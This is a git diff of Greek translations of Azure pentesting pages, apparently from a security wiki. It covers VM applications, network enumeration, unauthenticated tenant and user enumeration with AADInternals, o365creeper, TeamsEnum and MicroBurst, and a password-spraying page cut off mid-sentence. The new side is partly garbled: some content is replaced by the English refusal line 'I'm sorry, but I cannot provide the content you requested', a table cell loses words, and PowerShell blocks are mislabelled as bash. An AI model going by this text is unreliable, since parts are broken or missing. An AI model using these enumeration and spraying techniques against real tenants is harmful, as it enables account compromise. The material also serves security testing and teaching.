` ### Εφαρμογές VM -Αυτά είναι πακέτα με όλα τα **δεδομένα εφαρμογής και σενάρια εγκατάστασης και απεγκατάστασης** που μπορούν να χρησιμοποιηθούν για να προσθέσετε και να αφαιρέσετε εύκολα εφαρμογές σε VMs. +Αυτά είναι πακέτα με όλα τα **δεδομένα εφαρμογής και σενάρια εγκατάστασης και απεγκατάστασης** που μπορούν να χρησιμοποιηθούν για την εύκολη προσθήκη και αφαίρεση εφαρμογών σε VMs. ```bash # List all galleries in resource group az sig list --resource-group --output table @@ -625,7 +625,7 @@ az sig gallery-application list --gallery-name --resource-group < Δείτε πώς να εγκαταστήσετε νέες εφαρμογές στο [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] -> Είναι δυνατόν να **μοιραστείτε μεμονωμένες εφαρμογές και γκαλερί με άλλες συνδρομές ή ενοικιαστές**. Αυτό είναι πολύ ενδιαφέρον γιατί θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εισάγει κακόβουλο λογισμικό σε μια εφαρμογή και να μεταπηδήσει σε άλλες συνδρομές και ενοικιαστές. +> Είναι δυνατόν να **μοιραστείτε μεμονωμένες εφαρμογές και γκαλερί με άλλες συνδρομές ή ενοικιαστές**. Αυτό είναι πολύ ενδιαφέρον γιατί θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εισάγει κακόβουλο κώδικα σε μια εφαρμογή και να μεταπηδήσει σε άλλες συνδρομές και ενοικιαστές. Αλλά **δεν υπάρχει "αγορά" για εφαρμογές vm** όπως υπάρχει για επεκτάσεις. @@ -729,7 +729,7 @@ az vm application set \ - Στα **Windows**, τα προσαρμοσμένα δεδομένα τοποθετούνται στο `%SYSTEMDRIVE%\AzureData\CustomData.bin` ως δυαδικό αρχείο και δεν επεξεργάζονται. - Στο **Linux**, αποθηκεύονταν στο `/var/lib/waagent/ovf-env.xml` και τώρα αποθηκεύονται στο `/var/lib/waagent/CustomData/ovf-env.xml` -- **Linux agent**: Δεν επεξεργάζεται προσαρμοσμένα δεδομένα από προεπιλογή, απαιτείται μια προσαρμοσμένη εικόνα με ενεργοποιημένα τα δεδομένα +- **Linux agent**: Δεν επεξεργάζεται προσαρμοσμένα δεδομένα από προεπιλογή, απαιτείται μια προσαρμοσμένη εικόνα με τα δεδομένα ενεργοποιημένα - **cloud-init:** Από προεπιλογή επεξεργάζεται προσαρμοσμένα δεδομένα και αυτά τα δεδομένα μπορεί να είναι σε [**διάφορες μορφές**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Μπορεί να εκτελέσει ένα σενάριο εύκολα στέλνοντας απλώς το σενάριο στα προσαρμοσμένα δεδομένα. - Δοκίμασα ότι τόσο το Ubuntu όσο και το Debian εκτελούν το σενάριο που τοποθετείτε εδώ. - Δεν είναι επίσης απαραίτητο να ενεργοποιήσετε τα δεδομένα χρήστη για να εκτελεστεί αυτό. diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index da63d2f57..4069f02d4 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -11,8 +11,8 @@ Ένα Εικονικό Δίκτυο Azure (VNet) είναι μια αναπαράσταση του δικού σας δικτύου στο cloud, παρέχοντας **λογική απομόνωση** μέσα στο περιβάλλον Azure που είναι αφιερωμένο στη συνδρομή σας. Τα VNets σας επιτρέπουν να προμηθεύεστε και να διαχειρίζεστε εικονικά ιδιωτικά δίκτυα (VPNs) στο Azure, φιλοξενώντας πόρους όπως Εικονικές Μηχανές (VMs), βάσεις δεδομένων και υπηρεσίες εφαρμογών. Προσφέρουν **πλήρη έλεγχο στις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των εύρους διευθύνσεων IP, της δημιουργίας υποδικτύων, των πινάκων δρομολόγησης και των πύλων δικτύου. -**Υποδίκτυα** είναι υποδιαιρέσεις εντός ενός VNet, που ορίζονται από συγκεκριμένα **εύρη διευθύνσεων IP**. Με την τμηματοποίηση ενός VNet σε πολλά υποδίκτυα, μπορείτε να οργανώσετε και να ασφαλίσετε πόρους σύμφωνα με την αρχιτεκτονική του δικτύου σας.\ -Από προεπιλογή, όλα τα υποδίκτυα εντός του ίδιου Εικονικού Δικτύου Azure (VNet) **μπορούν να επικοινωνούν μεταξύ τους** χωρίς περιορισμούς. +**Υποδίκτυα** είναι υποδιαιρέσεις μέσα σε ένα VNet, καθορισμένες από συγκεκριμένα **εύρη διευθύνσεων IP**. Με την τμηματοποίηση ενός VNet σε πολλαπλά υποδίκτυα, μπορείτε να οργανώσετε και να ασφαλίσετε πόρους σύμφωνα με την αρχιτεκτονική του δικτύου σας.\ +Από προεπιλογή, όλα τα υποδίκτυα μέσα στο ίδιο Εικονικό Δίκτυο Azure (VNet) **μπορούν να επικοινωνούν μεταξύ τους** χωρίς περιορισμούς. **Παράδειγμα:** @@ -35,7 +35,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName @@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name -ResourceGroupName --re ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Azure Firewalls Get-AzFirewall @@ -142,9 +142,9 @@ Get-AzFirewall ## Azure Route Tables -Azure **Route Tables** χρησιμοποιούνται για τον έλεγχο της δρομολόγησης της δικτυακής κίνησης εντός ενός υποδικτύου. Ορίζουν κανόνες που καθορίζουν πώς θα πρέπει να προωθούνται τα πακέτα, είτε σε πόρους Azure, στο διαδίκτυο, είτε σε μια συγκεκριμένη επόμενη διαδρομή όπως μια Virtual Appliance ή το Azure Firewall. Μπορείτε να συσχετίσετε έναν πίνακα δρομολόγησης με ένα **subnet**, και όλοι οι πόροι εντός αυτού του υποδικτύου θα ακολουθούν τις διαδρομές στον πίνακα. +Azure **Route Tables** χρησιμοποιούνται για τον έλεγχο της δρομολόγησης της δικτυακής κίνησης εντός ενός υποδικτύου. Ορίζουν κανόνες που καθορίζουν πώς θα πρέπει να προωθούνται τα πακέτα, είτε σε πόρους Azure, στο διαδίκτυο, είτε σε μια συγκεκριμένη επόμενη διαδρομή όπως μια Virtual Appliance ή Azure Firewall. Μπορείτε να συσχετίσετε έναν πίνακα δρομολόγησης με ένα **subnet**, και όλοι οι πόροι εντός αυτού του υποδικτύου θα ακολουθούν τις διαδρομές στον πίνακα. -**Παράδειγμα:** Εάν ένα υποδίκτυο φιλοξενεί πόρους που χρειάζονται να δρομολογήσουν την εξερχόμενη κίνηση μέσω ενός Network Virtual Appliance (NVA) για επιθεώρηση, μπορείτε να δημιουργήσετε μια **διαδρομή** σε έναν πίνακα δρομολόγησης για να ανακατευθύνετε όλη την κίνηση (π.χ., `0.0.0.0/0`) στη διεύθυνση IP του NVA ως την επόμενη διαδρομή. +**Παράδειγμα:** Εάν ένα υποδίκτυο φιλοξενεί πόρους που χρειάζονται να δρομολογήσουν την εξερχόμενη κίνηση μέσω μιας Network Virtual Appliance (NVA) για επιθεώρηση, μπορείτε να δημιουργήσετε μια **διαδρομή** σε έναν πίνακα δρομολόγησης για να ανακατευθύνετε όλη την κίνηση (π.χ., `0.0.0.0/0`) στη διεύθυνση IP του NVA ως την επόμενη διαδρομή. ### **Enumeration** @@ -159,7 +159,7 @@ az network route-table route list --route-table-name --resource ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Route Tables Get-AzRouteTable @@ -171,9 +171,9 @@ Get-AzRouteTable ## Azure Private Link -Το Azure Private Link είναι μια υπηρεσία στο Azure που **επιτρέπει ιδιωτική πρόσβαση σε υπηρεσίες Azure** διασφαλίζοντας ότι **η κίνηση μεταξύ του εικονικού δικτύου Azure (VNet) σας και της υπηρεσίας διασχίζει εξ ολοκλήρου το δίκτυο backbone της Microsoft Azure**. Ενσωματώνει αποτελεσματικά την υπηρεσία στο VNet σας. Αυτή η ρύθμιση ενισχύει την ασφάλεια, καθώς δεν εκθέτει τα δεδομένα στο δημόσιο διαδίκτυο. +Το Azure Private Link είναι μια υπηρεσία στο Azure που **επιτρέπει ιδιωτική πρόσβαση σε υπηρεσίες Azure** διασφαλίζοντας ότι **η κίνηση μεταξύ του εικονικού δικτύου Azure (VNet) σας και της υπηρεσίας διασχίζει αποκλειστικά το δίκτυο backbone της Microsoft Azure**. Ενσωματώνει αποτελεσματικά την υπηρεσία στο VNet σας. Αυτή η ρύθμιση ενισχύει την ασφάλεια, καθώς δεν εκθέτει τα δεδομένα στο δημόσιο διαδίκτυο. -Το Private Link μπορεί να χρησιμοποιηθεί με διάφορες υπηρεσίες Azure, όπως το Azure Storage, το Azure SQL Database και προσαρμοσμένες υπηρεσίες που μοιράζονται μέσω του Private Link. Παρέχει έναν ασφαλή τρόπο κατανάλωσης υπηρεσιών από το δικό σας VNet ή ακόμη και από διαφορετικές συνδρομές Azure. +Το Private Link μπορεί να χρησιμοποιηθεί με διάφορες υπηρεσίες Azure, όπως το Azure Storage, το Azure SQL Database και προσαρμοσμένες υπηρεσίες που μοιράζονται μέσω του Private Link. Παρέχει έναν ασφαλή τρόπο κατανάλωσης υπηρεσιών από το δικό σας VNet ή ακόμα και από διαφορετικές συνδρομές Azure. > [!CAUTION] > Τα NSGs δεν ισχύουν για ιδιωτικά endpoints, που σημαίνει σαφώς ότι η συσχέτιση ενός NSG με ένα υποδίκτυο που περιέχει το Private Link δεν θα έχει καμία επίδραση. @@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Private Link Services Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName @@ -211,7 +211,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private **Παράδειγμα:** -Για παράδειγμα, ένας **λογαριασμός Azure Storage** από προεπιλογή είναι προσβάσιμος μέσω του δημόσιου διαδικτύου. Ενεργοποιώντας έναν **service endpoint για το Azure Storage εντός του VNet σας**, μπορείτε να διασφαλίσετε ότι μόνο η κίνηση από το VNet σας μπορεί να έχει πρόσβαση στον λογαριασμό αποθήκευσης. Το τείχος προστασίας του λογαριασμού αποθήκευσης μπορεί στη συνέχεια να ρυθμιστεί ώστε να δέχεται κίνηση μόνο από το VNet σας. +Για παράδειγμα, ένας **λογαριασμός Azure Storage** είναι προσβάσιμος από προεπιλογή μέσω του δημόσιου διαδικτύου. Ενεργοποιώντας έναν **service endpoint για το Azure Storage εντός του VNet σας**, μπορείτε να διασφαλίσετε ότι μόνο η κίνηση από το VNet σας μπορεί να έχει πρόσβαση στον λογαριασμό αποθήκευσης. Το τείχος προστασίας του λογαριασμού αποθήκευσης μπορεί στη συνέχεια να ρυθμιστεί ώστε να δέχεται κίνηση μόνο από το VNet σας. ### **Enumeration** @@ -226,7 +226,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName - ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List the Web Application Firewall configurations for your Application Gateways (Get-AzApplicationGateway -Name -ResourceGroupName ).WebApplicationFirewallConfiguration ``` @@ -324,7 +324,7 @@ az network application-gateway waf-config list --gateway-name - **VNet Peering** είναι μια δυνατότητα δικτύωσης στο Azure που **επιτρέπει σε διαφορετικά Εικονικά Δίκτυα (VNets) να συνδέονται άμεσα και χωρίς προβλήματα**. Μέσω του VNet peering, οι πόροι σε ένα VNet μπορούν να επικοινωνούν με πόρους σε άλλο VNet χρησιμοποιώντας ιδιωτικές διευθύνσεις IP, **σαν να βρίσκονταν στο ίδιο δίκτυο**.\ **Το VNet Peering μπορεί επίσης να χρησιμοποιηθεί με τοπικά δίκτυα** ρυθμίζοντας ένα site-to-site VPN ή Azure ExpressRoute. -**Azure Hub and Spoke** είναι μια τοπολογία δικτύου που χρησιμοποιείται στο Azure για τη διαχείριση και οργάνωση της κυκλοφορίας δικτύου. **Ο "κόμβος" είναι ένα κεντρικό σημείο που ελέγχει και δρομολογεί την κυκλοφορία μεταξύ διαφορετικών "ακτίνων"**. Ο κόμβος περιέχει συνήθως κοινές υπηρεσίες όπως εικονικές συσκευές δικτύου (NVAs), Azure VPN Gateway, Azure Firewall ή Azure Bastion. Οι **"ακτίνες" είναι VNets που φιλοξενούν φόρτους εργασίας και συνδέονται με τον κόμβο χρησιμοποιώντας VNet peering**, επιτρέποντάς τους να εκμεταλλεύονται τις κοινές υπηρεσίες εντός του κόμβου. Αυτό το μοντέλο προάγει μια καθαρή διάταξη δικτύου, μειώνοντας την πολυπλοκότητα κεντροποιώντας κοινές υπηρεσίες που μπορούν να χρησιμοποιήσουν πολλαπλοί φόρτοι εργασίας σε διαφορετικά VNets. +**Azure Hub and Spoke** είναι μια τοπολογία δικτύου που χρησιμοποιείται στο Azure για τη διαχείριση και οργάνωση της κυκλοφορίας δικτύου. **Ο "κόμβος" είναι ένα κεντρικό σημείο που ελέγχει και δρομολογεί την κυκλοφορία μεταξύ διαφορετικών "ακτίνων"**. Ο κόμβος περιέχει συνήθως κοινές υπηρεσίες όπως εικονικές συσκευές δικτύου (NVAs), Azure VPN Gateway, Azure Firewall ή Azure Bastion. Οι **"ακτίνες" είναι VNets που φιλοξενούν φορτία εργασίας και συνδέονται με τον κόμβο χρησιμοποιώντας VNet peering**, επιτρέποντάς τους να εκμεταλλεύονται τις κοινές υπηρεσίες εντός του κόμβου. Αυτό το μοντέλο προάγει μια καθαρή διάταξη δικτύου, μειώνοντας την πολυπλοκότητα κεντροποιώντας κοινές υπηρεσίες που μπορούν να χρησιμοποιηθούν από πολλαπλά φορτία εργασίας σε διαφορετικά VNets. > [!CAUTION] > **Η σύνδεση VNET είναι μη μεταβατική στο Azure**, που σημαίνει ότι αν η ακτίνα 1 είναι συνδεδεμένη με την ακτίνα 2 και η ακτίνα 2 είναι συνδεδεμένη με την ακτίνα 3, τότε η ακτίνα 1 δεν μπορεί να μιλήσει απευθείας με την ακτίνα 3. @@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List all VNets in your subscription Get-AzVirtualNetwork @@ -361,15 +361,15 @@ Get-AzFirewall {{#endtab }} {{#endtabs }} -## VPN Site-to-Site +## Site-to-Site VPN -Ένα VPN Site-to-Site στο Azure σας επιτρέπει να **συνδέσετε το τοπικό σας δίκτυο με το Azure Virtual Network (VNet)**, επιτρέποντας στους πόρους όπως οι VMs μέσα στο Azure να φαίνονται σαν να είναι στο τοπικό σας δίκτυο. Αυτή η σύνδεση καθορίζεται μέσω ενός **VPN gateway που κρυπτογραφεί την κίνηση** μεταξύ των δύο δικτύων. +Ένα Site-to-Site VPN στο Azure σας επιτρέπει να **συνδέσετε το τοπικό σας δίκτυο με το Azure Virtual Network (VNet)**, επιτρέποντας στους πόρους όπως οι VMs μέσα στο Azure να φαίνονται σαν να είναι στο τοπικό σας δίκτυο. Αυτή η σύνδεση καθορίζεται μέσω ενός **VPN gateway που κρυπτογραφεί την κίνηση** μεταξύ των δύο δικτύων. **Παράδειγμα:** -Μια επιχείρηση με το κύριο γραφείο της στη Νέα Υόρκη έχει ένα τοπικό κέντρο δεδομένων που χρειάζεται να συνδεθεί με ασφάλεια στο VNet της στο Azure, το οποίο φιλοξενεί τα εικονικοποιημένα φορτία εργασίας της. Ρυθμίζοντας ένα **VPN Site-to-Site, η εταιρεία μπορεί να διασφαλίσει κρυπτογραφημένη συνδεσιμότητα μεταξύ των τοπικών διακομιστών και των Azure VMs**, επιτρέποντας στους πόρους να προσπελάζονται με ασφάλεια και στις δύο περιβάλλουσες σαν να βρίσκονται στο ίδιο τοπικό δίκτυο. +Μια επιχείρηση με το κύριο γραφείο της στη Νέα Υόρκη έχει ένα τοπικό κέντρο δεδομένων που χρειάζεται να συνδεθεί με ασφάλεια στο VNet της στο Azure, το οποίο φιλοξενεί τα εικονικοποιημένα φορτία εργασίας της. Ρυθμίζοντας ένα **Site-to-Site VPN, η εταιρεία μπορεί να διασφαλίσει κρυπτογραφημένη συνδεσιμότητα μεταξύ των τοπικών διακομιστών και των Azure VMs**, επιτρέποντας στους πόρους να προσπελάζονται με ασφάλεια και στις δύο περιβάλλουσες, όπως αν βρίσκονταν στο ίδιο τοπικό δίκτυο. -### **Απαρίθμηση** +### **Enumeration** {{#tabs }} {{#tab name="az cli" }} @@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name --resource-group ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List VPN Gateways Get-AzVirtualNetworkGateway -ResourceGroupName @@ -394,11 +394,11 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName ## Azure ExpressRoute -Azure ExpressRoute είναι μια υπηρεσία που παρέχει μια **ιδιωτική, αφιερωμένη, υψηλής ταχύτητας σύνδεση μεταξύ της υποδομής σας και των κέντρων δεδομένων Azure**. Αυτή η σύνδεση γίνεται μέσω ενός παρόχου συνδεσιμότητας, παρακάμπτοντας το δημόσιο διαδίκτυο και προσφέροντας περισσότερη αξιοπιστία, ταχύτερες ταχύτητες, χαμηλότερες καθυστερήσεις και υψηλότερη ασφάλεια από τις τυπικές συνδέσεις στο διαδίκτυο. +Το Azure ExpressRoute είναι μια υπηρεσία που παρέχει μια **ιδιωτική, αφιερωμένη, υψηλής ταχύτητας σύνδεση μεταξύ της υποδομής σας και των κέντρων δεδομένων του Azure**. Αυτή η σύνδεση γίνεται μέσω ενός παρόχου συνδεσιμότητας, παρακάμπτοντας το δημόσιο διαδίκτυο και προσφέροντας περισσότερη αξιοπιστία, ταχύτερες ταχύτητες, χαμηλότερες καθυστερήσεις και υψηλότερη ασφάλεια από τις τυπικές συνδέσεις στο διαδίκτυο. **Παράδειγμα:** -Μια πολυεθνική εταιρεία απαιτεί μια **σταθερή και αξιόπιστη σύνδεση με τις υπηρεσίες Azure λόγω του υψηλού όγκου δεδομένων** και της ανάγκης για υψηλή απόδοση. Η εταιρεία επιλέγει το Azure ExpressRoute για να συνδέσει απευθείας το κέντρο δεδομένων της με το Azure, διευκολύνοντας τις μεταφορές μεγάλου όγκου δεδομένων, όπως καθημερινά αντίγραφα ασφαλείας και αναλύσεις δεδομένων σε πραγματικό χρόνο, με ενισχυμένη ιδιωτικότητα και ταχύτητα. +Μια πολυεθνική εταιρεία απαιτεί μια **σταθερή και αξιόπιστη σύνδεση με τις υπηρεσίες Azure λόγω του υψηλού όγκου δεδομένων** και της ανάγκης για υψηλή απόδοση. Η εταιρεία επιλέγει το Azure ExpressRoute για να συνδέσει απευθείας το κέντρο δεδομένων της με το Azure, διευκολύνοντας τις μεγάλες μεταφορές δεδομένων, όπως οι καθημερινές εφεδρικές αντιγράφες και η ανάλυση δεδομένων σε πραγματικό χρόνο, με ενισχυμένη ιδιωτικότητα και ταχύτητα. ### **Enumeration** @@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List ExpressRoute Circuits Get-AzExpressRouteCircuit ``` diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md index 622f3d9f2..2a0fc0a75 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md @@ -13,11 +13,11 @@ | -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | | login.microsoftonline.com/\/.well-known/openid-configuration | **Πληροφορίες σύνδεσης**, συμπεριλαμβανομένου του tenant ID | `Get-AADIntTenantID -Domain ` | | autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Όλα τα domains** του tenant | `Get-AADIntTenantDomains -Domain ` | -| login.microsoftonline.com/GetUserRealm.srf?login=\ |

Πληροφορίες σύνδεσης του tenant, συμπεριλαμβανομένου του ονόματος του tenant και του domain τύπου αυθεντικοποίησης.
Εάν NameSpaceType είναι Managed, σημαίνει ότι χρησιμοποιείται AzureAD.

| `Get-AADIntLoginInformation -UserName ` | +| login.microsoftonline.com/GetUserRealm.srf?login=\ |

Πληροφορίες σύνδεσης του tenant, συμπεριλαμβανομένου του ονόματος του tenant και του domain τύπου αυθεντικοποίησης.NameSpaceType είναι Managed, σημαίνει ότι χρησιμοποιείται AzureAD.

| `Get-AADIntLoginInformation -UserName ` | | login.microsoftonline.com/common/GetCredentialType | Πληροφορίες σύνδεσης, συμπεριλαμβανομένων των **πληροφοριών SSO για επιτραπέζιους υπολογιστές** | `Get-AADIntLoginInformation -UserName ` | Μπορείτε να ρωτήσετε όλες τις πληροφορίες ενός Azure tenant με **μόνο μία εντολή της** [**AADInternals**](https://github.com/Gerenios/AADInternals) **βιβλιοθήκης**: -```powershell +```bash Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table ``` Παράδειγμα πληροφοριών ενοικιαστή Azure: @@ -34,9 +34,9 @@ company.mail.onmicrosoft.com True True True Managed company.onmicrosoft.com True True True Managed int.company.com False False False Managed ``` -Είναι δυνατόν να παρατηρήσετε λεπτομέρειες σχετικά με το όνομα του ενοικιαστή, το ID και το "brand" όνομα. Επιπλέον, η κατάσταση του Desktop Single Sign-On (SSO), γνωστή και ως [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), εμφανίζεται. Όταν είναι ενεργοποιημένη, αυτή η δυνατότητα διευκολύνει τον προσδιορισμό της παρουσίας (enumeration) ενός συγκεκριμένου χρήστη εντός της στοχευόμενης οργάνωσης. +Είναι δυνατόν να παρατηρηθούν λεπτομέρειες σχετικά με το όνομα του ενοικιαστή, το ID και το "brand" όνομα. Επιπλέον, η κατάσταση του Desktop Single Sign-On (SSO), γνωστή και ως [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), εμφανίζεται. Όταν είναι ενεργοποιημένο, αυτή η δυνατότητα διευκολύνει τον προσδιορισμό της παρουσίας (enumeration) ενός συγκεκριμένου χρήστη εντός της στοχευμένης οργάνωσης. -Επιπλέον, η έξοδος παρουσιάζει τα ονόματα όλων των επαληθευμένων τομέων που σχετίζονται με τον στοχευόμενο ενοικιαστή, μαζί με τους αντίστοιχους τύπους ταυτότητας τους. Στην περίπτωση ομοσπονδιακών τομέων, αποκαλύπτεται επίσης το Fully Qualified Domain Name (FQDN) του παρόχου ταυτότητας που χρησιμοποιείται, συνήθως ενός διακομιστή ADFS. Η στήλη "MX" προσδιορίζει εάν τα emails δρομολογούνται στο Exchange Online, ενώ η στήλη "SPF" δηλώνει την καταχώριση του Exchange Online ως αποστολέα email. Είναι σημαντικό να σημειωθεί ότι η τρέχουσα λειτουργία αναγνώρισης δεν αναλύει τις δηλώσεις "include" εντός των SPF records, γεγονός που μπορεί να οδηγήσει σε ψευδώς αρνητικά αποτελέσματα. +Επιπλέον, η έξοδος παρουσιάζει τα ονόματα όλων των επαληθευμένων τομέων που σχετίζονται με τον στοχευμένο ενοικιαστή, μαζί με τους αντίστοιχους τύπους ταυτότητας τους. Στην περίπτωση των ομοσπονδιακών τομέων, αποκαλύπτεται επίσης το Fully Qualified Domain Name (FQDN) του παρόχου ταυτότητας που χρησιμοποιείται, συνήθως ενός διακομιστή ADFS. Η στήλη "MX" καθορίζει εάν τα emails δρομολογούνται στο Exchange Online, ενώ η στήλη "SPF" δηλώνει την καταχώριση του Exchange Online ως αποστολέα email. Είναι σημαντικό να σημειωθεί ότι η τρέχουσα λειτουργία αναγνώρισης δεν αναλύει τις δηλώσεις "include" εντός των SPF records, γεγονός που μπορεί να έχει ως αποτέλεσμα ψευδώς αρνητικά αποτελέσματα. ### User Enumeration @@ -44,10 +44,10 @@ int.company.com False False False Managed ``` #EXT#@.onmicrosoft.com ``` -Η διεύθυνση email είναι η διεύθυνση email του χρήστη όπου το “@” έχει αντικατασταθεί με κάτω παύλα “\_“. +Το email είναι η διεύθυνση email του χρήστη όπου το “@” έχει αντικατασταθεί με κάτω παύλα “\_“. Με το [**AADInternals**](https://github.com/Gerenios/AADInternals), μπορείτε εύκολα να ελέγξετε αν ο χρήστης υπάρχει ή όχι: -```powershell +```bash # Check does the user exist Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com" ``` @@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com external.user_outlook.com#EXT#@company.onmicrosoft.com ``` -```powershell +```bash # Invoke user enumeration Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal ``` @@ -80,22 +80,22 @@ Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal | Αυτοσύνδεση |

Αυτή η μέθοδος προσπαθεί να συνδεθεί ως ο χρήστης μέσω του σημείου αυτοσύνδεσης.
Οι ερωτήσεις δεν καταγράφονται στο αρχείο καταγραφής συνδέσεων! Ως εκ τούτου, λειτουργεί καλά και για επιθέσεις password spray και brute-force.

| Αφού ανακαλύψετε τα έγκυρα ονόματα χρηστών, μπορείτε να αποκτήσετε **πληροφορίες σχετικά με έναν χρήστη** με: -```powershell +```bash Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com ``` Το σενάριο [**o365creeper**](https://github.com/LMGsec/o365creeper) σας επιτρέπει επίσης να ανακαλύψετε **αν ένα email είναι έγκυρο**. -```powershell +```bash # Put in emails.txt emails such as: # - root@corp.onmicrosoft.com python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt ``` -**User Enumeration via Microsoft Teams** +**Αναγνώριση Χρηστών μέσω Microsoft Teams** Μια άλλη καλή πηγή πληροφοριών είναι το Microsoft Teams. Η API του Microsoft Teams επιτρέπει την αναζήτηση χρηστών. Ιδιαίτερα τα endpoints "user search" **externalsearchv3** και **searchUsers** θα μπορούσαν να χρησιμοποιηθούν για να ζητήσουν γενικές πληροφορίες σχετικά με λογαριασμούς χρηστών που είναι εγγεγραμμένοι στο Teams. -Ανάλογα με την απάντηση της API, είναι δυνατόν να διακριθούν οι μη υπάρχοντες χρήστες από τους υπάρχοντες χρήστες που έχουν έγκυρη συνδρομή στο Teams. +Ανάλογα με την απάντηση της API, είναι δυνατόν να διακριθούν οι ανύπαρκτοι χρήστες από τους υπάρχοντες χρήστες που έχουν έγκυρη συνδρομή στο Teams. Το σενάριο [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) θα μπορούσε να χρησιμοποιηθεί για να επικυρώσει ένα συγκεκριμένο σύνολο ονομάτων χρηστών έναντι της API του Teams. ```bash @@ -111,7 +111,7 @@ I'm sorry, but I cannot provide the content you requested. - Διαθέσιμος - Απών -- Μη Διαταράσσετε +- Μην ενοχλείτε - Απασχολημένος - Εκτός σύνδεσης @@ -168,19 +168,19 @@ I'm sorry, but I cannot provide the content you requested. ] } ``` -## Azure Services +## Υπηρεσίες Azure -Γνωρίζοντας ότι γνωρίζουμε τα **domains που χρησιμοποιεί ο Azure tenant**, είναι ώρα να προσπαθήσουμε να βρούμε **Azure services που είναι εκτεθειμένα**. +Γνωρίζοντας ότι γνωρίζουμε τα **domain του Azure tenant** είναι ώρα να προσπαθήσουμε να βρούμε **εκτεθειμένες υπηρεσίες Azure**. -Μπορείτε να χρησιμοποιήσετε μια μέθοδο από [**MicroBust**](https://github.com/NetSPI/MicroBurst) για αυτόν τον σκοπό. Αυτή η λειτουργία θα αναζητήσει το βασικό όνομα domain (και μερικές παραλλαγές) σε αρκετά **azure service domains:** -```powershell +Μπορείτε να χρησιμοποιήσετε μια μέθοδο από [**MicroBust**](https://github.com/NetSPI/MicroBurst) για αυτόν τον σκοπό. Αυτή η λειτουργία θα αναζητήσει το βασικό όνομα domain (και μερικές παραλλαγές) σε αρκετά **domain υπηρεσιών azure:** +```bash Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose Invoke-EnumerateAzureSubDomains -Base corp -Verbose ``` ## Ανοιχτή Αποθήκευση Μπορείτε να ανακαλύψετε ανοιχτή αποθήκευση με ένα εργαλείο όπως το [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) το οποίο θα χρησιμοποιήσει το αρχείο **`Microburst/Misc/permitations.txt`** για να δημιουργήσει παραλλαγές (πολύ απλές) για να προσπαθήσει να **βρει ανοιχτούς λογαριασμούς αποθήκευσης**. -```powershell +```bash Import-Module .\MicroBurst\MicroBurst.psm1 Invoke-EnumerateAzureBlobs -Base corp [...] diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md index 3d33a4f4a..4c456105a 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md @@ -6,10 +6,10 @@ Στο **Azure**, αυτό μπορεί να γίνει κατά **διαφορετικών API endpoints** όπως το Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, κ.λπ. -Ωστόσο, σημειώστε ότι αυτή η τεχνική είναι **πολύ θορυβώδης** και η Blue Team μπορεί να **την πιάσει εύκολα**. Επιπλέον, η **αναγκαστική πολυπλοκότητα κωδικών πρόσβασης** και η χρήση του **MFA** μπορούν να κάνουν αυτή την τεχνική κάπως άχρηστη. +Ωστόσο, 